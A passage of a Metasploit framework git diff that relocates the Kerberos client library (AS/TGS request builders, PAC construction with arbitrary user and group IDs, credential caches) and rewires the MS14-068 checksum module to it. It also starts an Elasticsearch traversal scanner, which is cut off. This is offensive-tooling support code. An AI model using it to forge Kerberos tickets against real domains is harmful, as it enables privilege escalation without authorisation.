create_cache( + primary_principal: cache_principal, + credentials: [credential] + ) + + cache + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 5381f02504..42c485889a 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -109,4 +109,7 @@ require 'msf/core/exploit/browser_autopwn2' # Custom HTTP Modules require 'msf/core/exploit/http/wordpress' require 'msf/core/exploit/http/typo3' -require 'msf/core/exploit/http/jboss' \ No newline at end of file +require 'msf/core/exploit/http/jboss' + +# Kerberos Support +require 'msf/core/exploit/kerberos/client' diff --git a/lib/msf/kerberos/client.rb b/lib/msf/kerberos/client.rb deleted file mode 100644 index fe6ba1a0e7..0000000000 --- a/lib/msf/kerberos/client.rb +++ /dev/null @@ -1,139 +0,0 @@ -# -*- coding: binary -*- -require 'rex/proto/kerberos' - -module Msf - module Kerberos - module Client - require 'msf/kerberos/client/base' - require 'msf/kerberos/client/as_request' - require 'msf/kerberos/client/as_response' - require 'msf/kerberos/client/tgs_request' - require 'msf/kerberos/client/tgs_response' - require 'msf/kerberos/client/pac' - require 'msf/kerberos/client/cache_credential' - - include Msf::Kerberos::Client::Base - include Msf::Kerberos::Client::AsRequest - include Msf::Kerberos::Client::AsResponse - include Msf::Kerberos::Client::TgsRequest - include Msf::Kerberos::Client::TgsResponse - include Msf::Kerberos::Client::Pac - include Msf::Kerberos::Client::CacheCredential - - # @!attribute client - # @return [Rex::Proto::Kerberos::Client] The kerberos client - attr_accessor :client - - def initialize(info = {}) - super - - register_options( - [ - Opt::RHOST, - Opt::RPORT(88), - OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10]) - ], self.class - ) - end - - # Returns the target host - # - # @return [String] - def rhost - datastore['RHOST'] - end - - # Returns the remote port - # - # @return [Fixnum] - def rport - datastore['RPORT'] - end - - # Returns the TCP timeout - # - # @return [Fixnum] - def timeout - datastore['Timeout'] - end - - # Returns the kdc peer - # - # @return [String] - def peer - "#{rhost}:#{rport}" - end - - # Creates a kerberos connection - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :rhost - # @option opts [] :rport - # @return [Rex::Proto::Kerberos::Client] - def connect(opts={}) - kerb_client = Rex::Proto::Kerberos::Client.new( - host: opts[:rhost] || rhost, - port: (opts[:rport] || rport).to_i, - timeout: (opts[:timeout] || timeout).to_i, - context: - { - 'Msf' => framework, - 'MsfExploit' => self, - }, - protocol: 'tcp' - ) - - disconnect if client - self.client = kerb_client - - kerb_client - end - - # Disconnects the Kerberos client - # - # @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect - def disconnect(kerb_client = client) - kerb_client.close if kerb_client - - if kerb_client == client - self.client = nil - end - end - - # Performs cleanup as necessary, disconnecting the Kerberos client - # if it's still established. - def cleanup - super - disconnect - end - - # Sends a kerberos AS request and reads the response - # - # @param opts [Hash] - # @return [Rex::Proto::Kerberos::Model::KdcResponse] - # @see Msf::Kerberos::Client::AsRequest#build_as_request - # @see Rex::Proto::Kerberos::Model::KdcResponse - def send_request_as(opts = {}) - connect(opts) - req = build_as_request(opts) - res = client.send_recv(req) - disconnect - res - end - - # Sends a kerberos AS request and reads the response - # - # @param opts [Hash] - # @return [Rex::Proto::Kerberos::Model::KdcResponse] - # @see Msf::Kerberos::Client::TgsRequest#build_tgs_request - # @see Rex::Proto::Kerberos::Model::KdcResponse - def send_request_tgs(opts = {}) - connect(opts) - req = build_tgs_request(opts) - res = client.send_recv(req) - disconnect - res - end - end - end -end diff --git a/lib/msf/kerberos/client/as_request.rb b/lib/msf/kerberos/client/as_request.rb deleted file mode 100644 index dd4b673b63..0000000000 --- a/lib/msf/kerberos/client/as_request.rb +++ /dev/null @@ -1,111 +0,0 @@ -# -*- coding: binary -*- -require 'rex/proto/kerberos' - -module Msf - module Kerberos - module Client - module AsRequest - - # Builds a kerberos AS request - # - # @param opts [Hash{Symbol => , Rex::Proto::Kerberos::Model::KdcRequestBody>}] - # @option opts [Array] :pa_data - # @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body - # @return [Rex::Proto::Kerberos::Model::KdcRequest] - # @see [Rex::Proto::Kerberos::Model::KdcRequest] - # @see #build_as_pa_time_stamp - # @see #build_as_request_body - def build_as_request(opts = {}) - pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts) - body = opts[:body] || build_as_request_body(opts) - - request = Rex::Proto::Kerberos::Model::KdcRequest.new( - pvno: 5, - msg_type: Rex::Proto::Kerberos::Model::AS_REQ, - pa_data: pa_data, - req_body: body - ) - - request - end - - # Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure - # - # @param opts [Hash{Symbol => }] - # @option opts [Time] :time_stamp - # @option opts [Fixnum] :pausec - # @option opts [Fixnum] :etype - # @option opts [String] :key - # @return [Rex::Proto::Kerberos::Model::PreAuthData] - # @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp - # @see Rex::Proto::Kerberos::Model::EncryptedData - # @see Rex::Proto::Kerberos::Model::PreAuthData - def build_as_pa_time_stamp(opts = {}) - time_stamp = opts[:time_stamp] || Time.now - pausec = opts[:pausec] || 0 - etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC - key = opts[:key] || '' - - pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new( - pa_time_stamp: time_stamp, - pausec: pausec - ) - - enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new( - etype: etype, - cipher: pa_time_stamp.encrypt(etype, key) - ) - - pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new( - type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP, - value: enc_time_stamp.encode - ) - - pa_enc_time_stamp - end - - # Builds a kerberos AS request body - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :options - # @option opts [Time] :from - # @option opts [Time] :till - # @option opts [Time] :rtime - # @option opts [Fixnum] :nonce - # @option opts [Fixnum] :etype - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname - # @option opts [String] :realm - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname - # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] - # @see #build_client_name - # @see #build_server_name - # @see Rex::Proto::Kerberos::Model::KdcRequestBody - def build_as_request_body(opts = {}) - options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable - from = opts[:from] || Time.utc('1970-01-01-01 00:00:00') - till = opts[:till] || Time.utc('1970-01-01-01 00:00:00') - rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00') - nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i - etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC] - cname = opts[:cname] || build_client_name(opts) - realm = opts[:realm] || '' - sname = opts[:sname] || build_server_name(opts) - - body = Rex::Proto::Kerberos::Model::KdcRequestBody.new( - options: options, - cname: cname, - realm: realm, - sname: sname, - from: from, - till: till, - rtime: rtime, - nonce: nonce, - etype: etype - ) - - body - end - end - end - end -end diff --git a/lib/msf/kerberos/client/as_response.rb b/lib/msf/kerberos/client/as_response.rb deleted file mode 100644 index 0a629d36d2..0000000000 --- a/lib/msf/kerberos/client/as_response.rb +++ /dev/null @@ -1,46 +0,0 @@ -# -*- coding: binary -*- -require 'rex/proto/kerberos' - -module Msf - module Kerberos - module Client - module AsResponse - - # Extracts the session key from a Kerberos AS Response - # - # @param res [Rex::Proto::Kerberos::Model::KdcResponse] - # @param key [String] - # @return [Rex::Proto::Kerberos::Model::EncryptionKey] - # @see Rex::Proto::Kerberos::Model::KdcResponse - # @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt - # @see Rex::Proto::Kerberos::Model::EncKdcResponse - # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode - # @see Rex::Proto::Kerberos::Model::EncryptionKey - def extract_session_key(res, key) - decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE) - enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) - - enc_kdc_res.key - end - - # Extracts the logon time from a Kerberos AS Response - # - # @param res [Rex::Proto::Kerberos::Model::KdcResponse] - # @param key [String] - # @return [Fixnum] - # @see Rex::Proto::Kerberos::Model::KdcResponse - # @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt - # @see Rex::Proto::Kerberos::Model::EncKdcResponse - # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode - def extract_logon_time(res, key) - decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE) - enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) - - auth_time = enc_kdc_res.auth_time - - auth_time.to_i - end - end - end - end -end diff --git a/lib/msf/kerberos/client/base.rb b/lib/msf/kerberos/client/base.rb deleted file mode 100644 index a9a1085140..0000000000 --- a/lib/msf/kerberos/client/base.rb +++ /dev/null @@ -1,44 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Kerberos - module Client - module Base - - # Builds a kerberos Client Name Principal - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :client_name the client's name - # @option opts [Fixnum] :client_type the client's name type - # @return [Rex::Proto::Kerberos::Model::PrincipalName] - # @see Rex::Proto::Kerberos::Model::PrincipalName - def build_client_name(opts = {}) - name = opts[:client_name] || '' - name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL - - Rex::Proto::Kerberos::Model::PrincipalName.new( - name_type: name_type, - name_string: name.split('/') - ) - end - - # Builds a kerberos Server Name Principal - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :server_name the server's name - # @option opts [Fixnum] :server_type the server's name type - # @return [Rex::Proto::Kerberos::Model::PrincipalName] - # @see Rex::Proto::Kerberos::Model::PrincipalName - def build_server_name(opts = {}) - name = opts[:server_name] || '' - name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL - - Rex::Proto::Kerberos::Model::PrincipalName.new( - name_type: name_type, - name_string: name.split('/') - ) - end - end - end - end -end diff --git a/lib/msf/kerberos/client/cache_credential.rb b/lib/msf/kerberos/client/cache_credential.rb deleted file mode 100644 index e7295c6ae7..0000000000 --- a/lib/msf/kerberos/client/cache_credential.rb +++ /dev/null @@ -1,148 +0,0 @@ -# -*- coding: binary -*- -require 'rex/proto/kerberos' - -module Msf - module Kerberos - module Client - module CacheCredential - - # Builds a MIT Credential Cache - # - # @param opts [Hash{Symbol => , Rex::Proto::Kerberos::CredentialCache::Principal, Array>}] - # @option opts [Fixnum] :version - # @option opts [Array] :headers - # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal - # @option opts [Array] :credentials - # @return [Rex::Proto::Kerberos::CredentialCache::Cache] - # @see Rex::Proto::Kerberos::CredentialCache::Cache - def create_cache(opts = {}) - version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION - headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER] - primary_principal = opts[:primary_principal] || create_cache_principal(opts) - credentials = opts[:credentials] || [create_cache_credential(opts)] - - cache = Rex::Proto::Kerberos::CredentialCache::Cache.new( - version: version, - headers: headers, - primary_principal: primary_principal, - credentials: credentials - ) - - cache - end - - # Builds a MIT Credential Cache principal - # - # @param opts [Hash<{Symbol => >}>] - # @option opts [Fixnum] :name_type - # @option opts [String] :realm - # @option opts [Array] :components - # @return [Rex::Proto::Kerberos::CredentialCache::Principal] - # @see Rex::Proto::Kerberos::CredentialCache::Principal - def create_cache_principal(opts = {}) - name_type = opts[:name_type] || 0 - realm = opts[:realm] || '' - components = opts[:components] || [''] - - principal = Rex::Proto::Kerberos::CredentialCache::Principal.new( - name_type: name_type, - realm: realm, - components:components - ) - - principal - end - - # Builds a MIT Credential Cache key block - # - # @param opts [Hash<{Symbol => }>] - # @option opts [Fixnum] :key_type - # @option opts [Fixnum] :e_type - # @option opts [String] :key_value - # @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock] - # @see Rex::Proto::Kerberos::CredentialCache::KeyBlock - def create_cache_key_block(opts = {}) - key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC - e_type = opts[:e_type] || 0 - key_value = opts[:key_value] || '' - - key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new( - key_type: key_type, - e_type: e_type, - key_value: key_value - ) - - key_block - end - - # Builds a times structure linked to a credential in a MIT Credential Cache - # - # @param opts [Hash<{Symbol => Fixnum}>] - # @option opts [Fixnum] auth_time - # @option opts [Fixnum] start_time - # @option opts [Fixnum] end_time - # @option opts [Fixnum] renew_till - # @return [Rex::Proto::Kerberos::CredentialCache::Time] - # @see Rex::Proto::Kerberos::CredentialCache::Time - def create_cache_times(opts = {}) - auth_time = opts[:auth_time] || 0 - start_time = opts[:start_time] || 0 - end_time = opts[:end_time] || 0 - renew_till = opts[:renew_till] || 0 - - time = Rex::Proto::Kerberos::CredentialCache::Time.new( - auth_time: auth_time.to_i, - start_time: start_time.to_i, - end_time: end_time.to_i, - renew_till: renew_till.to_i - ) - - time - end - - # Builds a MIT Credential Cache credential - # - # @param opts [Hash<{Symbol => <>}>] - # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client - # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server - # @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key - # @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time - # @option opts [Fixnum] is_key - # @option opts [Fixnum] flags - # @option opts [Array] addrs - # @option opts [Array] auth_data - # @option opts [String] ticket - # @option opts [String] second_ticket - # @return [Rex::Proto::Kerberos::CredentialCache::Credential] - # @see Rex::Proto::Kerberos::CredentialCache::Credential - def create_cache_credential(opts = {}) - client = opts[:client] || create_cache_principal(opts) - server = opts[:server] || create_cache_principal(opts) - key = opts[:key] || create_cache_key_block(opts) - time = opts[:time] || create_cache_times(opts) - is_skey = opts[:is_skey] || 0 - tkt_flags = opts[:flags] || 0 - addrs = opts[:addrs] || [] - auth_data = opts[:auth_data] || [] - ticket = opts[:ticket] || '' - second_ticket = opts[:second_ticket] || '' - - cred = Rex::Proto::Kerberos::CredentialCache::Credential.new( - client: client, - server: server, - key: key, - time: time, - is_skey: is_skey, - tkt_flags:tkt_flags, - addrs: addrs, - auth_data: auth_data, - ticket: ticket, - second_ticket: second_ticket - ) - - cred - end - end - end - end -end diff --git a/lib/msf/kerberos/client/pac.rb b/lib/msf/kerberos/client/pac.rb deleted file mode 100644 index bf6e05328b..0000000000 --- a/lib/msf/kerberos/client/pac.rb +++ /dev/null @@ -1,111 +0,0 @@ -# -*- coding: binary -*- -require 'rex/proto/kerberos' - -module Msf - module Kerberos - module Client - module Pac - - # Builds a kerberos PA-PAC-REQUEST pre authenticated structure - # - # @param opts [Hash{Symbol => Boolean}] - # @option opts [Boolean] :pac_request_value - # @return [Rex::Proto::Kerberos::Model::Field::PreAuthData] - # @see Rex::Proto::Kerberos::Model::PreAuthPacRequest - # @see Rex::Proto::Kerberos::Model::PreAuthData - def build_pa_pac_request(opts = {}) - value = opts[:pac_request_value] || false - pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value) - pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new( - type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST, - value: pac_request.encode - ) - - pa_pac_request - end - - # Builds a kerberos PACTYPE structure - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :client_name - # @option opts [Fixnum] :user_id the user SID Ex: 1000 - # @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users' - # @option opts [Array] :group_ids - # @option opts [String] :realm - # @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962 - # @option opts [Time] :logon_time - # @return [Rex::Proto::Kerberos::Pac::Type] - # @see Rex::Proto::Kerberos::Pac::LogonInfo - # @see Rex::Proto::Kerberos::Pac::ClientInfo - # @see Rex::Proto::Kerberos::Pac::ServerChecksum - # @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum - # @see Rex::Proto::Kerberos::Pac::Type - def build_pac(opts = {}) - user_name = opts[:client_name] || '' - user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID - primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS - group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS] - domain_name = opts[:realm] || '' - domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID - logon_time = opts[:logon_time] || Time.now - checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5 - - logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new( - logon_time: logon_time, - effective_name: user_name, - user_id: user_id, - primary_group_id: primary_group_id, - group_ids: group_ids, - logon_domain_name: domain_name, - logon_domain_id: domain_id, - ) - - client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new( - client_id: logon_time, - name: user_name - ) - - server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new( - checksum: checksum_type - ) - - priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new( - checksum: checksum_type - ) - - pac_type = Rex::Proto::Kerberos::Pac::Type.new( - buffers: [ - logon_info, - client_info, - server_checksum, - priv_srv_checksum - ], - checksum: checksum_type - ) - - pac_type - end - - # Builds an kerberos AuthorizationData structure containing a PACTYPE - # - # @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}] - # @option opts [Rex::Proto::Kerberos::Pac::Type] :pac - # @return [Rex::Proto::Kerberos::Model::AuthorizationData] - # @see Rex::Proto::Kerberos::Model::AuthorizationData - def build_pac_authorization_data(opts = {}) - pac = opts[:pac] || build_pac(opts) - - pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new( - elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}] - ) - authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new( - elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}] - ) - - authorization_data - end - - end - end - end -end diff --git a/lib/msf/kerberos/client/tgs_request.rb b/lib/msf/kerberos/client/tgs_request.rb deleted file mode 100644 index deb336f051..0000000000 --- a/lib/msf/kerberos/client/tgs_request.rb +++ /dev/null @@ -1,273 +0,0 @@ -# -*- coding: binary -*- -require 'rex/proto/kerberos' - -module Msf - module Kerberos - module Client - module TgsRequest - - # Builds the encrypted Kerberos TGS request - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data - # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data - # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey - # @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum - # @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator - # @option opts [Array] :pa_data - # @return [Rex::Proto::Kerberos::Model::KdcRequest] - # @raise [RuntimeError] if ticket isn't available - # @see Rex::Proto::Kerberos::Model::AuthorizationData - # @see Rex::Proto::Kerberos::Model::EncryptedData - # @see Rex::Proto::Kerberos::Model::EncryptionKey - # @see Rex::Proto::Kerberos::Model::Checksum - # @see Rex::Proto::Kerberos::Model::Authenticator - # @see Rex::Proto::Kerberos::Model::PreAuthData - # @see Rex::Proto::Kerberos::Model::KdcRequest - def build_tgs_request(opts = {}) - subkey = opts[:subkey] || build_subkey(opts) - - if opts[:enc_auth_data] - enc_auth_data = opts[:enc_auth_data] - elsif opts[:auth_data] - enc_auth_data = build_enc_auth_data( - auth_data: opts[:auth_data], - subkey: subkey - ) - else - enc_auth_data = nil - end - - body = build_tgs_request_body(opts.merge( - enc_auth_data: enc_auth_data - )) - - checksum = opts[:checksum] || build_tgs_body_checksum(:body => body) - - if opts[:auhtenticator] - authenticator = opts[:authenticator] - else - authenticator = build_authenticator(opts.merge( - subkey: subkey, - checksum: checksum - )) - end - - if opts[:ap_req] - ap_req = opts[:ap_req] - else - ap_req = build_ap_req(opts.merge(:authenticator => authenticator)) - end - - pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthData.new( - type: Rex::Proto::Kerberos::Model::PA_TGS_REQ, - value: ap_req.encode - ) - - pa_data = [] - pa_data.push(pa_ap_req) - if opts[:pa_data] - opts[:pa_data].each { |pa| pa_data.push(pa) } - end - - request = Rex::Proto::Kerberos::Model::KdcRequest.new( - pvno: 5, - msg_type: Rex::Proto::Kerberos::Model::TGS_REQ, - pa_data: pa_data, - req_body: body - ) - - request - end - - # Builds the encrypted TGS authorization data - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data - # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey - # @return [Rex::Proto::Kerberos::Model::EncryptedData] - # @raise [RuntimeError] if auth_data option isn't provided - # @see Rex::Proto::Kerberos::Model::AuthorizationData - # @see Rex::Proto::Kerberos::Model::EncryptionKey - # @see Rex::Proto::Kerberos::Model::EncryptedData - def build_enc_auth_data(opts = {}) - auth_data = opts[:auth_data] - - if auth_data.nil? - raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data' - end - - subkey = opts[:subkey] || build_subkey(opts) - - encrypted = auth_data.encrypt(subkey.type, subkey.value) - - e_data = Rex::Proto::Kerberos::Model::EncryptedData.new( - etype: subkey.type, - cipher: encrypted - ) - - e_data - end - - # Builds a KRB_AP_REQ message - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :pvno - # @option opts [Fixnum] :msg_type - # @option opts [Fixnum] :ap_req_options - # @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket - # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator - # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key - # @return [Rex::Proto::Kerberos::Model::EncryptionKey] - # @raise [RuntimeError] if ticket option isn't provided - # @see Rex::Proto::Kerberos::Model::Ticket - # @see Rex::Proto::Kerberos::Model::EncryptedData - # @see Rex::Proto::Kerberos::Model::EncryptionKey - def build_ap_req(opts = {}) - pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION - msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ - options = opts[:ap_req_options] || 0 - ticket = opts[:ticket] - authenticator = opts[:authenticator] || build_authenticator(opts) - session_key = opts[:session_key] || build_subkey(opts) - - if ticket.nil? - raise ::RuntimeError, 'Building a AP-REQ without ticket not supported' - end - - enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new( - etype: session_key.type, - cipher: authenticator.encrypt(session_key.type, session_key.value) - ) - - ap_req = Rex::Proto::Kerberos::Model::ApReq.new( - pvno: pvno, - msg_type: msg_type, - options: options, - ticket: ticket, - authenticator: enc_authenticator - ) - - ap_req - end - - # Builds a kerberos authenticator for a TGS request - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname - # @option opts [String] :realm - # @option opts [Time] :ctime - # @option opts [Fixnum] :cusec - # @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum - # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey - # @return [Rex::Proto::Kerberos::Model::Authenticator] - # @see Rex::Proto::Kerberos::Model::PrincipalName - # @see Rex::Proto::Kerberos::Model::Checksum - # @see Rex::Proto::Kerberos::Model::EncryptionKey - # @see Rex::Proto::Kerberos::Model::Authenticator - def build_authenticator(opts = {}) - cname = opts[:cname] || build_client_name(opts) - realm = opts[:realm] || '' - ctime = opts[:ctime] || Time.now - cusec = opts[:cusec] || ctime.usec - checksum = opts[:checksum] || build_tgs_body_checksum(opts) - subkey = opts[:subkey] || build_subkey(opts) - - authenticator = Rex::Proto::Kerberos::Model::Authenticator.new( - vno: 5, - crealm: realm, - cname: cname, - checksum: checksum, - cusec: cusec, - ctime: ctime, - subkey: subkey - ) - - authenticator - end - - # Builds an encryption key to protect the data sent in the TGS request. - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :subkey_type - # @option opts [String] :subkey_value - # @return [Rex::Proto::Kerberos::Model::EncryptionKey] - # @see Rex::Proto::Kerberos::Model::EncryptionKey - def build_subkey(opts={}) - subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC - subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16) - - subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new( - type: subkey_type, - value: subkey_value - ) - - subkey - end - - - # Builds a kerberos TGS request body - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :options - # @option opts [Time] :from - # @option opts [Time] :till - # @option opts [Time] :rtime - # @option opts [Fixnum] :nonce - # @option opts [Fixnum] :etype - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname - # @option opts [String] :realm - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname - # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data - # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] - # @see Rex::Proto::Kerberos::Model::PrincipalName - # @see Rex::Proto::Kerberos::Model::KdcRequestBody - def build_tgs_request_body(opts = {}) - options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable - from = opts[:from] || Time.utc('1970-01-01-01 00:00:00') - till = opts[:till] || Time.utc('1970-01-01-01 00:00:00') - rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00') - nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i - etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC] - cname = opts[:cname] || build_client_name(opts) - realm = opts[:realm] || '' - sname = opts[:sname] || build_server_name(opts) - enc_auth_data = opts[:enc_auth_data] || nil - - body = Rex::Proto::Kerberos::Model::KdcRequestBody.new( - options: options, - cname: cname, - realm: realm, - sname: sname, - from: from, - till: till, - rtime: rtime, - nonce: nonce, - etype: etype, - enc_auth_data: enc_auth_data - ) - - body - end - - # Builds a Kerberos TGS Request body checksum - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body - # @return [Rex::Proto::Kerberos::Model::Checksum] - # @see #build_tgs_request_body - # @see Rex::Proto::Kerberos::Model::Checksum - def build_tgs_body_checksum(opts = {}) - body = opts[:body] || build_tgs_request_body(opts) - checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5) - checksum = Rex::Proto::Kerberos::Model::Checksum.new( - type: 7, - checksum: checksum_body - ) - - checksum - end - end - end - end -end diff --git a/lib/msf/kerberos/client/tgs_response.rb b/lib/msf/kerberos/client/tgs_response.rb deleted file mode 100644 index 597553167a..0000000000 --- a/lib/msf/kerberos/client/tgs_response.rb +++ /dev/null @@ -1,74 +0,0 @@ -# -*- coding: binary -*- -require 'rex/proto/kerberos' - -module Msf - module Kerberos - module Client - module TgsResponse - - # Extracts the Kerberos credentials, buildint a MIT Cache Credential, - # from a Kerberos TGS response. - # - # @param res [Rex::Proto::Kerberos::Model::KdcResponse] - # @param key [String] - # @return [Rex::Proto::Kerberos::CredentialCache::Cache] - # @see Rex::Proto::Kerberos::Model::EncKdcResponse - # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode - # @see Msf::Kerberos::Client::CacheCredential - # @see Rex::Proto::Kerberos::CredentialCache::Cache - def extract_kerb_creds(res, key) - decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE) - enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) - - client = create_cache_principal( - name_type: res.cname.name_type, - realm: res.crealm, - components: res.cname.name_string - ) - - server = create_cache_principal( - name_type: enc_res.sname.name_type, - realm: enc_res.srealm, - components: enc_res.sname.name_string - ) - - key = create_cache_key_block( - key_type: enc_res.key.type, - key_value: enc_res.key.value - ) - - times = create_cache_times( - auth_time: enc_res.auth_time, - start_time: enc_res.start_time, - end_time: enc_res.end_time, - renew_till: enc_res.renew_till - ) - - credential = create_cache_credential( - client: client, - server: server, - key: key, - time: times, - ticket: res.ticket.encode, - flags: enc_res.flags - ) - - cache_principal = create_cache_principal( - name_type: res.cname.name_type, # NT_PRINCIPAL - #realm: realm,# opts[:realm], - realm: res.crealm, - #components: user # [opts[:cname]] - components: res.cname.name_string - ) - - cache = create_cache( - primary_principal: cache_principal, - credentials: [credential] - ) - - cache - end - end - end - end -end diff --git a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb index c003cd11e4..6c8f0d29c3 100644 --- a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb +++ b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb @@ -9,7 +9,7 @@ require 'rex' class Metasploit4 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Kerberos::Client + include Msf::Exploit::Remote::Kerberos::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb new file mode 100644 index 0000000000..a521f753cf --- /dev/null +++ b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb @@ -0,0 +1,128 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'json' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include 